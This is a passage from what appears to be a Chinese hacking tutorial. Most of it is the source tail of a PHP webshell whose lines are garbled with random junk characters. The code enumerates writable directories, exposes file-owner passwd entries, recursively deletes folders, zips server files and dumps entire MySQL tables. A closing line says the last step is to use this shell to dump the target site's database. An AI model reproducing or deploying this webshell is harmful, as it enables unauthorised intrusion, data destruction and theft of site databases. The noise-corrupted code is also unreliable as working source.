; v. B `0 f$ \$ c8 z3 B% R0 M! n - $array = @posix_getpwuid(@fileowner($filepath));4 `1 ]/ V9 ~7 e% y+ W* ~4 ~
- if ($array && is_array($array)) {* K3 l4 ]: c- N) X3 T" W2 v* W% E; _
- return ' / <a href="#" title="User: '.$array['name'].'9 y. P5 f- \1 ?; `
- Passwd: '.$array['passwd'].'
2 q* K! h1 d$ l6 j- ^1 b - Uid: '.$array['uid'].'
: H& C; L* r1 S. K! ] - gid: '.$array['gid'].'
5 f$ @6 N, l7 L& t: j/ [& |) ` - Gecos: '.$array['gecos'].'
' n% U5 f1 C' I) ~$ P' @ - Dir: '.$array['dir'].'7 I- l0 Y& ?" g) y- c
- Shell: '.$array['shell'].'">'.$array['name'].'</a>';
: n+ A( H) R5 i% I6 U3 S - }
, E7 m v( [7 N' H, z6 f - }
* ]5 Z# P* R Q Z, @ - return '';, b, N, b7 k* W+ w k. |
- }
( v6 u5 o& o, p$ D, m -
# m1 b$ Y8 k) |& k - // 删除目录
$ b1 L! q- f- {1 _ - function deltree($deldir) {2 N5 {5 M/ p* N5 [; o
- $mydir=@dir($deldir); 2 z* A2 D* T5 e
- while($file=$mydir->read()) {
! r) t8 Z0 ~2 R; o$ s9 Y E& Y! ]9 o - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { T+ z( d' z+ O7 V, Q, A4 v
- @chmod($deldir.'/'.$file,0777);' E" M, s3 ~" M- J# K, m( @) r
- deltree($deldir.'/'.$file); ) G3 K+ P/ ^# X1 J9 f
- }" g6 b" Z+ n, H" ?- E6 T8 a! N3 T1 f+ e
- if (is_file($deldir.'/'.$file)) {
' B3 w. m5 P U1 q8 p% }6 |# v% L3 F - @chmod($deldir.'/'.$file,0777);& I- o, }* w, o: s( [
- @unlink($deldir.'/'.$file);
# }9 u! [ u4 [9 v" t - }% N. E$ P+ z( x" u' S
- } 6 Y9 s' y7 G! r- e7 E: [
- $mydir->close();
2 |# j, X6 A1 i - @chmod($deldir,0777);, ^4 _+ M; _# r/ C, W- J8 O
- return @rmdir($deldir) ? 1 : 0;& {* m9 z, s: P; q
- }2 y" r+ \$ c, L3 H2 N2 S
-
: A# o9 \( u D& @: `' i - // 表格行间的背景色替换
7 g% e) a. ^- a' E5 W2 h6 {/ M3 y - function bg() {
3 ~: p( ?8 b- }9 z% A+ g - global $bgc;5 ~4 I2 J" ~, I7 v' [2 J" s/ z5 N/ u
- return ($bgc++%2==0) ? 'alt1' : 'alt2';) q% ~3 K0 D* L% h! C+ q7 ~
- }
/ x, B5 P, t8 |' I" A4 j8 M - % n4 j& E- U0 _2 W# ?
- // 获取当前的文件系统路径
) ]. Y5 Z$ c9 r6 `$ _0 l: R - function getPath($scriptpath, $nowpath) {
+ T- y- b( U9 c4 U( C9 k - if ($nowpath == '.') {) R# W0 X6 m2 Z- e6 p7 J, z! U
- $nowpath = $scriptpath;
6 ^3 m; G0 V2 [ r - }
* ^2 ?" F# ^" D - $nowpath = str_replace('\\', '/', $nowpath);- `* Z: P+ D u2 w" n% H" y/ u
- $nowpath = str_replace('//', '/', $nowpath);8 ^5 T2 G F- Y, u. f3 `) D
- if (substr($nowpath, -1) != '/') {$ V" s8 L6 ?$ c) w- ?
- $nowpath = $nowpath.'/';1 k! r# u6 |# k4 F9 ~0 [! T2 k& }; I
- }( F R- L2 D/ |2 W4 W. Y
- return $nowpath;) A2 P( H! ?. _& z( A
- }
& Q, c/ j2 M5 B -
/ X t' o3 Z, f - // 获取当前目录的上级目录" D! `- |) a! z8 S
- function getUpPath($nowpath) {" D( |0 V: g* \* H+ E$ j, o& }# H
- $pathdb = explode('/', $nowpath);7 H# n" X5 j" \# r8 ?+ T1 s
- $num = count($pathdb);! `5 i% b. T" z9 a
- if ($num > 2) {
+ l% J0 v) C3 O2 v7 ?- w7 n# R# t( C - unset($pathdb[$num-1],$pathdb[$num-2]);
# O- ]2 ~$ m" `! d+ \& z) `/ O - }! ?' |- m! T; l% u5 U1 t# ?! l9 M9 n
- $uppath = implode('/', $pathdb).'/';; e8 ~: [) H' A, _. c& v
- $uppath = str_replace('//', '/', $uppath);
% |+ }' u+ Z, [9 ~ - return $uppath;! D: A1 ^# P/ }% `: Q! r( O8 {
- }* l* ]. [/ y) n
-
3 l$ \2 L' Q/ a$ p R$ ] p - // 检查PHP配置参数
4 ]! g1 y C; i - function getcfg($varname) {
0 q* D1 y v! O4 C% t y, C - $result = get_cfg_var($varname);
( C+ |9 \/ \4 \7 t' W+ x& z( ? - if ($result == 0) {
( e5 u$ d! l4 r$ K; N; D" c - return 'No';5 z5 l k! K# @1 x1 I0 G0 N
- } elseif ($result == 1) {
8 m& d! @- C: L8 w$ l2 A; F& A - return 'Yes';% I+ d6 D) ^2 U. {8 U$ w
- } else {, Q6 b8 s. H1 z7 Y: G
- return $result;" b0 b4 b* v6 l2 p/ e6 A% o
- }& E6 l/ t) [8 }, \/ U
- }
7 B5 i4 [3 N- W8 n d! h9 y& [2 p8 b -
1 D2 ]# K% u3 e - // 检查函数情况
) q6 R1 M) Y/ I! {* P0 K - function getfun($funName) {
' `' f# C" E' ?" Z- z - return (false !== function_exists($funName)) ? 'Yes' : 'No';
( e! }+ p$ y5 e& g) j& ?( }0 \: q - }1 {% d8 l# {0 f& V3 ~
-
% o6 W+ z0 z3 p* e$ w3 Z4 N: `& j - function GetList($dir){
8 I' J: z# a7 c* q: [! k - global $dirdata,$j,$nowpath;* h D4 {; v0 P; p9 O. p2 u
- !$j && $j=1;5 u/ j* u, D/ E ~. m u2 `
- if ($dh = opendir($dir)) {
0 Z2 K* v+ g" p" W; ^6 R { - while ($file = readdir($dh)) {) l% k+ C+ U# Y% n1 w
- $f=str_replace('//','/',$dir.'/'.$file);
7 G7 T& r, Z1 E8 X$ m# W } - if($file!='.' && $file!='..' && is_dir($f)){: P1 g1 O$ ]" {: c; L3 D6 e0 S
- if (is_writable($f)) {3 j) \0 O( O: i7 d+ I
- $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
5 y0 A: u) ?5 I0 _1 c+ k - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));( O, w a6 e9 h& ^, w
- $dirdata[$j]['dirchmod']=getChmod($f);
) D, c* l' P6 j0 }7 D. ^1 k - $dirdata[$j]['dirperm']=getPerms($f);% a1 l$ h e- @+ h' a6 t2 P
- $dirdata[$j]['dirlink']=ue($dir);& {7 X" G' f/ g7 o9 o
- $dirdata[$j]['server_link']=$f;5 S6 M4 Z& i& j, m' q) U! v% Q
- $dirdata[$j]['client_link']=ue($f);
* Y7 A1 X/ |& J4 t - $j++;' z- V9 y) }5 P( ~8 o% h! ?
- }5 m8 ^9 _$ T# G Q) P5 j( Y% _4 K
- GetList($f);4 {2 E) U2 X3 O) G- s; O
- }
G% f+ U% r" i - }0 V& E: T8 @" d0 Y' l7 U
- closedir($dh);
]" h7 E) K8 K: k - clearstatcache();/ P7 \6 H7 v( h$ V s. Y( x$ r0 Y! k
- return $dirdata;
: e m1 `! ?6 l2 z7 E' v& f - } else {
. B: M, z+ q/ W* L$ T$ d1 _ - return array();6 T- E' q$ e2 N4 x
- }
( k7 q( l4 c" x% F - }
: f2 F) F/ K- Z - ( P# |, C) g) Y# y! K5 T1 H
- function qy($sql) {
0 c* P/ t5 B Z4 _ - //echo $sql.'<br>';
# H- W) C8 i3 B$ [. k F - $res = $error = '';0 l8 c; E* g2 a, ?( W
- if(!$res = @mysql_query($sql)) { + k" s2 U: _0 H0 f
- return 0;
4 {) N- I. K* s/ M l - } else if(is_resource($res)) {
; {* P& P ?1 q+ ^0 | g, Z$ i6 Q - return 1; " q2 @ _+ ~& F, P$ j
- } else {% ?* ?2 V/ y; u& _; ~+ q6 E* y) L
- return 2;4 x* m" }( n5 G6 v4 |+ r% c
- }
! e; X5 C8 d1 p' n - return 0;
/ p+ T( m% N$ N% { - }' J+ G5 H8 [7 U2 m; y) L
-
, w; [- S9 A. X5 k4 k0 K, R - function q($sql) { 1 k: U# H( L% O+ Y7 [! ^# b
- return @mysql_query($sql);
" o! F1 r. [6 m - }
8 Q4 P1 @, z: p3 }7 ~/ C/ r' E -
/ r2 N" u9 z2 J/ w4 n2 K0 C - function fr($qy){ Z4 c9 E! E! `. S- i E& {- E
- mysql_free_result($qy);
) j8 Q# n2 m4 k# U- S0 B5 g* m - }6 t8 p$ F$ V7 F
-
8 p: g% v' S# F( b, P1 p" ^- \ - function sizecount($size) {
. h4 m+ ~) x7 u; N - if($size > 1073741824) {# U4 {9 n* w7 B7 z/ D8 p
- $size = round($size / 1073741824 * 100) / 100 . ' G';9 E2 P5 l, m% m- L9 r; O
- } elseif($size > 1048576) {8 m! j2 h: D* S! M
- $size = round($size / 1048576 * 100) / 100 . ' M';
$ |' h( z9 K6 j) l - } elseif($size > 1024) {3 d# U2 x; ]( R2 Y
- $size = round($size / 1024 * 100) / 100 . ' K';
+ t+ `$ j7 t; V+ t1 _ - } else {7 L7 M s" f4 X- m' g; y3 }
- $size = $size . ' B';
/ ? F6 s( R4 g" _7 ^* _9 R - }
; T1 k a, o' I& W6 t - return $size;
' P# q3 j, M. p) D$ v - }
* s+ |( g6 ~/ @, l9 w; W - : _: q+ W/ R4 G+ M F% }" m) @
- // 压缩打包类
; ~) P, T$ A7 w0 v* [ - class PHPZip{' t; f: _( S0 c, @* n: e
- var $out='';
c$ E; S2 u4 T( ` - function PHPZip($dir) {& ]$ L/ S" F$ W; S$ h
- if (@function_exists('gzcompress')) {
/ U5 K5 A6 X8 k6 o - $curdir = getcwd();& l& \, C$ u/ j* i2 }. i; \
- if (is_array($dir)) $filelist = $dir;
7 t) a. z# N) j# a: ]/ k3 T - else{
- b n* o1 y7 L9 |% G. I - $filelist=$this -> GetFileList($dir);//文件列表
* n# J+ m9 _/ a% O( n! T% x2 u - foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
* g6 q( a0 r& L - }3 u( [7 H9 a) h; w- k) o
- if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);; F6 d# l2 E/ V5 w
- else chdir($curdir);
y9 B* }5 Y1 X+ W& V/ W - if (count($filelist)>0){" p5 M# e+ T' ]4 h/ R% i
- foreach($filelist as $filename){
# y9 N3 b- [' M3 E% f* I, ~ - if (is_file($filename)){
4 L- r6 {: V8 `1 q - $fd = fopen ($filename, 'r');9 o3 n3 e# W9 ?% N- `: j
- $content = @fread ($fd, filesize($filename));! X) A' H. v3 e& m. G, Y( G
- fclose ($fd);4 i" v, V8 h* W: O2 x
- if (is_array($dir)) $filename = basename($filename);2 n/ r: Y; |9 O+ }
- $this -> addFile($content, $filename);" Y4 `' A! N$ j
- }! y1 r) Z% h5 V/ o/ l
- }" x% m4 S; f* J1 ~* c# K4 `( b
- $this->out = $this -> file();. ^, _) N2 v* _8 c' b# @' V
- chdir($curdir);9 Y# g% O( o! ?+ @2 ~0 _
- }
; n) F% z5 x8 {! w p+ v - return 1;
% }* h! f" U6 u0 [/ G - }* @0 n5 ?- E# [2 I6 U
- else return 0;) e4 O# m% _' a8 @& B
- }
- h `# Y2 ?1 c2 ~5 i - 7 l# _3 L6 B; Y6 p6 F5 M
- // 获得指定目录文件列表3 ]6 a9 _! s7 c: U" A3 x+ t& h" i
- function GetFileList($dir){3 q8 ?9 Q J: r% B7 Q5 x
- static $a;
" X5 m- ?2 O( x4 o$ R - if (is_dir($dir)) {) H; G- L# F3 M! x$ d% K
- if ($dh = opendir($dir)) {8 o1 x3 E' h' H6 [
- while ($file = readdir($dh)) {. n) m4 w6 |+ A3 z5 b: G% m5 ^. R
- if($file!='.' && $file!='..'){
& x. ~+ K G) f( a2 H" W7 A - $f=$dir .'/'. $file;
; N9 O0 R. H# \5 `& { - if(is_dir($f)) $this->GetFileList($f);) W' c4 j" ~4 e1 P0 C, w. N( C/ y9 S
- $a[]=$f;% _7 |8 }$ N) p( }0 R% U; |
- }
& V6 v7 W! d4 a$ M( e# i - }3 U9 C! Z' V. X Z- M) |; r& C
- closedir($dh);
, P( V0 L2 s4 v B- ^, w - }- h) i; v$ C/ Z
- }
2 J" q% I( d- W$ W0 a - return $a; I' G; Z2 X! ~/ `8 g6 k4 ]' m
- }5 o% K U m) M- ~& B
-
7 V3 U4 Z6 f7 q" b4 B - var $datasec = array();: [7 H( E& r) G6 J6 K# [& [" j
- var $ctrl_dir = array();1 n# Q% d* g, u. X
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";% {4 Y$ U2 ]* H" s3 f
- var $old_offset = 0;7 a& w1 ?' Q* d0 O
- 9 T- S* N z U; q* V2 C1 P. G
- function unix2DosTime($unixtime = 0) {
8 f; Z( {, y2 E4 z3 F ^' i$ m - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);* D' V# T8 |5 A
- if ($timearray['year'] < 1980) {) W' r1 K# e D+ l0 Q+ O+ Y, g
- $timearray['year'] = 1980;% \5 n: {2 x* ?0 Y4 }# J
- $timearray['mon'] = 1;. X3 w |" J, \* e9 t- N
- $timearray['mday'] = 1;
# D8 j; K; t/ K" B O. d5 T - $timearray['hours'] = 0;- [" }! w' `5 i: Y8 x0 O J
- $timearray['minutes'] = 0;
' K9 ^1 L, l/ v/ P5 g6 B# b' F - $timearray['seconds'] = 0;5 x/ E7 B( I0 o6 M0 m
- } // end if
/ s. |0 Y0 s8 k3 P - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |( x, z% x/ ]4 m! g2 ?0 Q
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);0 p+ M0 I3 m- p2 P1 {8 j
- }/ y+ o" k; b+ C Z" u6 T* H
- function addFile($data, $name, $time = 0) {, k4 M' H. T; H9 m
- $name = str_replace('\\', '/', $name);
# f8 T$ p+ x; q: s( S! M6 C - $dtime = dechex($this->unix2DosTime($time));8 u$ V# M# r$ K2 s9 u, L n2 L7 j# E* X
- $hexdtime = '\x' . $dtime[6] . $dtime[7]
# j T* x, y0 H: i7 F+ o - . '\x' . $dtime[4] . $dtime[5]( w. Q5 \+ Y) J k3 ]
- . '\x' . $dtime[2] . $dtime[3]
9 [$ c+ y; [0 P - . '\x' . $dtime[0] . $dtime[1];8 _+ v) \; Q) R# C3 _# `
- eval('$hexdtime = "' . $hexdtime . '";');- J+ v" h6 N' @6 I+ C0 j* z
- $fr = "\x50\x4b\x03\x04";
8 i3 ^ b9 O, p3 g - $fr .= "\x14\x00";& S1 ]6 m* T; M! s2 `: }7 K
- $fr .= "\x00\x00";1 @0 I. p5 ^2 w4 |
- $fr .= "\x08\x00";
' }4 t1 L) H% Q& ` - $fr .= $hexdtime;$ H3 k6 ?( N8 q4 U
- $unc_len = strlen($data);
% e, U! Q4 c6 r# [8 ^ - $crc = crc32($data);
% H! }0 o: D" |- B2 e$ M - $zdata = gzcompress($data);* ~- M5 A5 W5 `
- $c_len = strlen($zdata); ~% ~$ i3 Q6 d, r, J8 A* g( M# ~
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
4 h8 k) e5 \- D - $fr .= pack('V', $crc);
0 h$ J3 u0 E4 z' G7 c - $fr .= pack('V', $c_len);' d: v' E( I, q( R& n/ _
- $fr .= pack('V', $unc_len);" p8 W; }1 x0 u8 r7 p$ n. y
- $fr .= pack('v', strlen($name));9 f: s0 Q9 X& j
- $fr .= pack('v', 0);
" ?) Y5 F, U/ A/ q- r3 ]$ ?" z. `& ? - $fr .= $name;! G7 b6 n7 {. U* V `2 c$ F
- $fr .= $zdata;: b9 _7 H, }6 Y' ^
- $fr .= pack('V', $crc);; v% |( ^. }, M& [) t7 j
- $fr .= pack('V', $c_len);
% _+ X- `+ Q6 E4 C - $fr .= pack('V', $unc_len);7 v! o8 J) i& c) F( v5 ^0 h9 J
- $this -> datasec[] = $fr;- O* J( g# o' y9 ^, b: t* `$ s
- $new_offset = strlen(implode('', $this->datasec));( `% C& o7 j, K ^$ p. I( _
- $cdrec = "\x50\x4b\x01\x02";: V: w/ w2 z e/ A
- $cdrec .= "\x00\x00";
9 A, Q7 K9 B4 o - $cdrec .= "\x14\x00";
* E5 ^9 i1 i' v, i) C - $cdrec .= "\x00\x00";+ D7 A; J! D& c& u
- $cdrec .= "\x08\x00";1 Y7 f4 o/ ]( T: A/ ^
- $cdrec .= $hexdtime;* {1 w3 W5 `" w& \+ o
- $cdrec .= pack('V', $crc);
' L& b/ m D" q6 n8 e - $cdrec .= pack('V', $c_len);
7 X% V4 Z& \9 N4 J - $cdrec .= pack('V', $unc_len);4 y/ T: w/ Q" j! o/ V
- $cdrec .= pack('v', strlen($name) );
8 \1 j. g6 D0 C! {$ J/ O0 r7 Y1 g$ { - $cdrec .= pack('v', 0 );# {- }/ [ n' Y+ b# t: ?) i+ ^
- $cdrec .= pack('v', 0 );/ f8 U: ^5 D. K! u C
- $cdrec .= pack('v', 0 );# r* @. C) `. Z2 F" z) J
- $cdrec .= pack('v', 0 );
$ I: e& @2 P" E; ^6 Q3 x% E+ _ - $cdrec .= pack('V', 32 );/ t+ v9 |5 _! m) [+ e8 Y# ]
- $cdrec .= pack('V', $this -> old_offset );- @0 s$ b0 M, M
- $this -> old_offset = $new_offset;; _9 X1 O- |% k1 ~6 v5 x
- $cdrec .= $name;
) H9 k5 F! i* A e8 H - $this -> ctrl_dir[] = $cdrec;+ e* F4 M2 R2 ]+ S
- }% I5 V3 y2 h9 {+ X6 o. @5 q
- function file() {& e; [' Y" P. [
- $data = implode('', $this -> datasec);0 v/ y) ^/ K4 J* e# F! v4 A. O: Z4 T
- $ctrldir = implode('', $this -> ctrl_dir);
5 f. {3 q p) j, Y/ u$ W8 D2 F Z7 P/ P - return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";: Z& t: A& ]1 x
- }' M" t7 U. {: y8 E! [3 U* n5 k3 S
- }- }* Q, \; |: t! v+ c( g; f# [
- // 备份数据库- _) \& ~, x3 l% o( I" P
- function sqldumptable($table, $fp=0) {
4 n' R6 I0 P+ V+ o, N- l: b - $tabledump = "DROP TABLE IF EXISTS $table;\n";
7 @# s+ H& s. V) N; j `6 o- `5 G - $tabledump .= "CREATE TABLE $table (\n";
7 u: E& v+ B8 T* Q, u: F - $firstfield=1;' c' h9 y5 g: J% }% ~
- $fields = q("SHOW FIELDS FROM $table");4 G( ]6 z7 x# |, U
- while ($field = mysql_fetch_array($fields)) {) B' q* U* t2 R0 f, F
- if (!$firstfield) {
# l2 _; X4 x- ^! g - $tabledump .= ",\n";* Z4 ?$ p- |% n
- } else {$ ~7 Z. e4 y; m
- $firstfield=0;
; p B$ R1 A& Y1 @$ k8 {, P - }- w" t2 x2 A( K. v4 [$ G* L0 d& s
- $tabledump .= " $field[Field] $field[Type]";
3 P: a" d) G5 Q - if (!empty($field["Default"])) {. z7 b8 R4 b( E, D- v
- $tabledump .= " DEFAULT '$field[Default]'";+ |0 d7 _( _9 s
- }
# Y+ h3 W" A& ? - if ($field['Null'] != "YES") {4 m) d, h0 n1 E3 w
- $tabledump .= " NOT NULL";2 m, n; q+ q# p% O2 F' x) W
- }! |+ @& g- V s# \0 O5 H
- if ($field['Extra'] != "") {
( q- j, ]& i: ^2 v - $tabledump .= " $field[Extra]";
( E1 S1 `8 i8 U# \, H - }' y4 u9 d. I' H- o7 ~/ C
- }
~8 Q7 q2 o- Z. A9 i6 Y - fr($fields);- d6 m# W7 o, o9 E0 k% ~/ E
- $keys = q("SHOW KEYS FROM $table");
( c3 ~4 c8 f! F' b; B' s" Y+ S0 D - while ($key = mysql_fetch_array($keys)) {, v& Y- W1 C- V5 O/ G& |* G5 H& s
- $kname=$key['Key_name'];- R- O9 E3 h) X! v. N5 W
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {4 ^- u$ w1 Y5 _5 s& N" k5 M
- $kname="UNIQUE|$kname";% _8 e6 b) X4 ~# U1 C& Q L
- }
- U7 g. D7 [1 c) ] - if(!is_array($index[$kname])) {6 m! _& n4 Y ~' p3 U
- $index[$kname] = array();+ n5 p5 g# H X, ?) O) }
- }/ W0 m+ f1 \& ^# B8 q# H
- $index[$kname][] = $key['Column_name'];$ L8 Z" \' s) H
- }
9 O. d+ A; a! e' j9 s - fr($keys);
( W: L( m0 x# G5 C- ` - while(list($kname, $columns) = @each($index)) {
$ H& d8 J% }" s& B9 s& f7 R - $tabledump .= ",\n";
4 v( j+ D) l, x- q9 B9 e7 O - $colnames=implode($columns,",");/ A W) T# ^7 Y. ?4 e d2 X
- if ($kname == "PRIMARY") {
- b3 ]) h' ~2 P' w, Y7 H - $tabledump .= " PRIMARY KEY ($colnames)";' i, t1 Q1 M `1 A, Y$ ?
- } else {5 i/ m* p' m, H9 J+ ?
- if (substr($kname,0,6) == "UNIQUE") {
- `/ p4 F7 L( u9 p" L5 ` - $kname=substr($kname,7);# p! `$ I& a, D7 e4 J
- }
$ _* C' @1 S0 Y# l7 q3 Q - $tabledump .= " KEY $kname ($colnames)";
9 [, C, s( D% L8 B* G1 M& W2 L+ J' C - }6 m' [, h/ ?* U3 W. s
- }& E: M+ I3 c0 ?+ `7 C+ r
- $tabledump .= "\n);\n\n";
- R0 {" I4 [' u( Z - if ($fp) {
( _0 e/ e) ^# j6 [4 S. l - fwrite($fp,$tabledump);3 }! R4 p! @# q( L" }; u" F: \! C
- } else {
) e6 R+ Q0 o& w; L( A" O8 p# ? - echo $tabledump;: p$ M) {5 T- q( ?" D, w1 H" t
- }- w' t- ` m% h/ {+ H
- $rows = q("SELECT * FROM $table");
7 r& }) C( O- o4 N r1 C$ G - $numfields = mysql_num_fields($rows);
, {8 f; J, ^ z+ k: p - while ($row = mysql_fetch_array($rows)) {9 I- }, H( D5 F# c: Y" j- Y
- $tabledump = "INSERT INTO $table VALUES(";
' a# Q. O7 k/ d6 K - $fieldcounter=-1;
/ y6 x' {' j( M5 Y! v+ ]5 R - $firstfield=1;
1 i7 Y: A8 \/ V - while (++$fieldcounter<$numfields) {% ^) ~' `$ Q' _7 p( r
- if (!$firstfield) {
* A; x0 J& B7 |% [* c - $tabledump.=", ";
: e4 D. p0 R( Z3 J w - } else {2 r5 v4 w& P2 b% J3 H5 f
- $firstfield=0;
1 F7 X$ X+ O* n# ^6 V7 U - }0 c/ W- Q9 G3 L, E6 Q, H C
- if (!isset($row[$fieldcounter])) { O! }9 X9 w; v* i* s
- $tabledump .= "NULL";
( g- C6 p1 `6 u" a3 ` I5 [ w; [ - } else {
0 l% o0 R: s/ M" J: }, v - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";) i: C- }$ U6 x8 F- \4 Z% ?. b
- }
9 v& s- u- O8 ~" J- X - }
" e+ q {* U$ E; i! L- b' l+ G - $tabledump .= ");\n";: D1 L. T5 Q3 F/ r; \
- if ($fp) {, N; _( `; ^! I( t- A! H8 s
- fwrite($fp,$tabledump);
9 |% H3 M( ^! x& ^! e - } else {
e' s7 e* ]' F4 @! P - echo $tabledump;
' t7 |! `! y4 p9 o. i- C - }
6 I7 }$ ^) E0 I/ u4 d. U: I0 e* w# n S - }
7 ]# D# Z5 D, q3 z( }, }# _& B - fr($rows);
+ K2 c5 P2 K( P8 z$ R% r - if ($fp) {
, j0 b% G7 y2 J" u - fwrite($fp,"\n");9 ]$ H2 W6 J# J' @+ e0 H5 X
- } else {2 t* |( `4 Z0 [; w- w1 J; v7 x
- echo "\n";
7 I; \, b) m* X - }
* w& X, z$ y. [) M* C3 e+ Z. ? - }
% a. t; Y' G+ f+ G' T, _ - function ue($str){
2 F, E! f0 \& P& N3 G - return urlencode($str);
5 m& Q( O) O* `3 c% v - }; [4 @- {# [- k E$ i
- function p($str){9 \, R+ R: p' ~2 X2 Z ~
- echo $str."\n";& w4 W6 ^+ l: t' n( y7 y& [
- }& q( [( |* i+ |- t* u1 z
- function tbhead() {
, K' R, g6 U& _) Z- n) c9 W - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');; C+ {& d1 f0 z6 `' W6 K8 q
- }
3 z3 U3 A. ]1 g$ a/ E - function tbfoot(){
! I' y: ]+ i1 u4 |- e# Z1 L" t - p('</table>');
! U6 s5 s3 N; Q3 e. o0 m6 C5 o) n - }
( q( N- ?% ?2 a" O! R - function makehide($name,$value=''){
8 F3 f8 f+ }+ R( j& }- J - p("<input id="$name" type="hidden" name="$name" value="$value" />");
6 S) _3 |- R2 j - }
# }+ }1 ? X `" Y7 Y: \% o - function makeinput($arg = array()){
5 d2 A% _3 g E - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
6 ]& a& p, r. \( Y4 x - $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';8 ]: q' o+ L' @) R, O
- !$arg['type'] && $arg['type'] = 'text';; @. r" t b% j6 `; G/ Z
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';+ W$ W/ J* k* K6 j
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
- I9 u6 y2 g+ T9 {1 A* w% H) z - if ($arg['newline']) {( A* t0 h7 l+ A8 ~3 N! ?
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");2 m: t" H M' E, ?" N# V' V. I
- } else {* R+ e6 l. _9 O4 N* U1 j; H4 n) e
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
" r( X$ @0 H/ }+ a6 C) V - }
( \- M7 b( l' V% o: ^% Z$ K$ S - }/ f: U7 k5 D1 q
- function makeselect($arg = array()){* L8 n, e' t. [( g' Y0 J' |+ j! l; E
- if ($arg['onchange']) {& Y. ?- i9 h; b" y
- $onchange = 'onchange="'.$arg['onchange'].'"';' V5 s$ r3 R. p( T( H
- }" [- q: v2 w0 b g& F/ u$ J: d
- $arg['title'] = $arg['title'] ? $arg['title'] : '';
+ Q/ r! k9 x7 s! i+ k9 z - if ($arg['newline']) p('<p>');6 E; T) B @4 z
- p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");8 L r+ S9 n! F: x
- if (is_array($arg['option'])) {3 [3 W+ X* S2 y) N" ]2 X! v; S. U# X/ C
- foreach ($arg['option'] as $key=>$value) {
7 Q, t# }9 R, [, d2 e" L - if ($arg['selected']==$key) {. O6 r6 ^5 t5 ?1 L
- p("<option value="$key" selected>$value</option>");
+ i! L6 E/ C4 b0 o - } else {. ^6 I( \5 T4 i" f, ?) A" d
- p("<option value="$key">$value</option>");1 ~+ P6 \* i. f
- }
9 ~9 u! M' d5 Z, }" U0 A+ K - }# R+ D5 i+ T2 K, C7 C; G
- }
2 O1 L/ r! A9 Y3 ] - p("</select>");
- d; p0 j% l/ m* Z4 `' f! F5 G - if ($arg['newline']) p('</p>');
/ b m* h7 R4 ?2 m. L6 \ - }
2 ?7 x* }4 ~+ T( {/ {7 b) W. B3 V - function formhead($arg = array()) {
- a% J+ Z" X) a3 d: Q- h _ - !$arg['method'] && $arg['method'] = 'post';
2 {8 s3 z3 F4 I1 K - !$arg['action'] && $arg['action'] = $self;; z m7 K, f% A3 h5 ~; ^+ x! ^# ^
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
3 [2 N* `/ e7 j& h7 | - !$arg['name'] && $arg['name'] = 'form1';
q7 O: e/ n' } - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");0 A" G+ A- \- w
- if ($arg['title']) {/ F% a8 t2 r+ L: [8 u
- p('<h2>'.$arg['title'].' »</h2>');
8 T6 S- O0 }9 Q# K9 Z' P9 j - }. a+ D5 J! ]& G$ S$ Y' n
- }
( e; v; t0 Y& J+ t -
: [" Q1 q( P9 m9 I+ d j( t - function maketext($arg = array()){2 t6 D }+ I6 H2 S/ Z
- !$arg['cols'] && $arg['cols'] = 100;2 t* x M$ l% v
- !$arg['rows'] && $arg['rows'] = 25;
1 x$ X: r6 n) ~. O+ x8 y$ w. C - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
# q$ I8 ^+ ^6 f- o2 K - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");! f3 j* p+ y( d6 v
- }
' b' W8 V& @# K& D" l -
' X" H2 V3 o, {. Y - function formfooter($name = ''){
3 d0 U& M% O, \; e - !$name && $name = 'submit';
! p e* D% Y: s% h5 h - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');1 n+ j$ Z$ z8 p E% H9 B1 v5 g
- p('</form>');' q9 I. `' S$ A. H( P
- }* W% D4 x: Z. E: c2 u- v7 G
-
, n! P! ]$ P8 D1 V9 u7 o. l - function formfoot(){( f6 G }3 |* I X% x
- p('</form>');% \3 y2 Y/ V {! P' [
- }
' i9 {+ b, w* q2 U - " E/ M4 V H0 X+ E5 w4 R7 A$ y
- // 调试函数, }( t y6 e% U8 i! `0 Y4 r/ |
- function pr($a) {
. ]+ a8 p: Q& K8 o4 v' t - echo '<pre>';
. ^) @; E7 m6 p1 z- I6 z7 G - print_r($a);
3 b. Y: G- A& L, [4 Z: c; k - echo '</pre>';& \9 k5 x6 n. L; U; w1 u
- }3 u* C( K) |5 s( J
- 7 o5 U5 Z8 S: Q0 h5 }9 e' }
- ?>
复制代码11、最后通过大码对网站数据库进行脱库
